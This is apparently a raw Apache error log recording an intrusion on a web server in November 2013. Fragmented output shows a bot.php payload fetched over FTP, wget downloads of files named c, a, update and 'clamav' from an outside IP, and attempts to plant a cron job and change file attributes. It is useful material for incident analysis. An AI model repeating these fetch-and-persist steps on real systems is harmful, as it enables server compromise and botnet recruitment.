[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 1
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] Logged in!
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] ==> SYST ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> PWD ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> TYPE I ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> CWD not needed.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> SIZE bot.php ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 15138
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> PASV ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> RETR bot.php ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] Length: 15138
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] (15K) (unauthoritative)
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .....
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 2
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] .. .
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 58.0K=0.3s
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:47 (58.0 KB/s) - `bot.php' saved [15138]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] % Total % Received % Xferd Average Speed Time Time
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] Time Current
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] Dload Upload Total Spent Left Speed
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] \r 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 3
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] \r 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0 0 0 0 0 --:--:-- 0:00:04 --:--:-- 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Length: 6906 (6.7K) [text/plain]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Saving to: `lol'
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r100 15138 100 15138 0 0 8450 0 0:00:01 0:00:01 --:--:-- 9102
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] sh: fetch: command not found
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r100 256 100 256 0 0 53 0 0:00:04 0:00:04 --:--:-- 67\r100 256 100 256 0 0 53 0 0:00:04 0:00:04 --:--:-- 67
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:49-- http://74.52.9.186/c
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] . 100% 5.87K=1.1s
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:50 (5.87 KB/s) - `lol' saved [6906/6906]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] % Total % Re
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] ceived % Xferd Average Speed Time Tim
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] e T
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] ime C
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] urrent
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Dload
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Upload Total Spent
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Left S
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] peed
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] \r 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] --:--:
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] -- 0:00:01
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] --:--:-
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] - 0
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137] 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Length: 256 [text/plain]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Saving to: `c.1'
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 24.0M=0s
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:53 (24.0 MB/s) - `c.1' saved [256/256]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:53-- http://74.52.9.186/a
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] \r 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r 59 6906 59 4092 0 0 980 0 0:00:07 0:00:04 0:00:03 1290
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r 80 6906 80 5540 0 0 1281 0 0:00:05 0:00:04 0:00:01 1667
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r100 6906 100 6906 0 0 1596 0 0:00:04 0:00:04 --:--:-- 2077
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] sh: fetch: command not found
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Length: 712 [text/plain]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Saving to: `a'
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 65.0M=0s
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:55 (65.0 MB/s) - `a' saved [712/712]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] no crontab for www-data
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:55-- http://74.52.9.186/update
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:56 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:56 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] Length: 208 [text/plain]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] Saving to: `update'
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 19.1M=0s
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:57 (19.1 MB/s) - `update' saved [208/208]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] cp: cannot create regular file `/etc/cron.hourly/update': Permission denied
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: No such file or directory while trying to stat bash
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Operation not supported while reading flags on god.17165.sock
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Permission denied while setting flags on hsperfdata_root
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Permission denied while reading flags on passenger.27075
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:58-- http://74.52.9.186/clamav
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:05:01 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:05:01 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] Length: 379680 (371K) [text/plain]
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] Saving to: `clamav'
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] . 13% 9.80K 33s
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] 50K ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
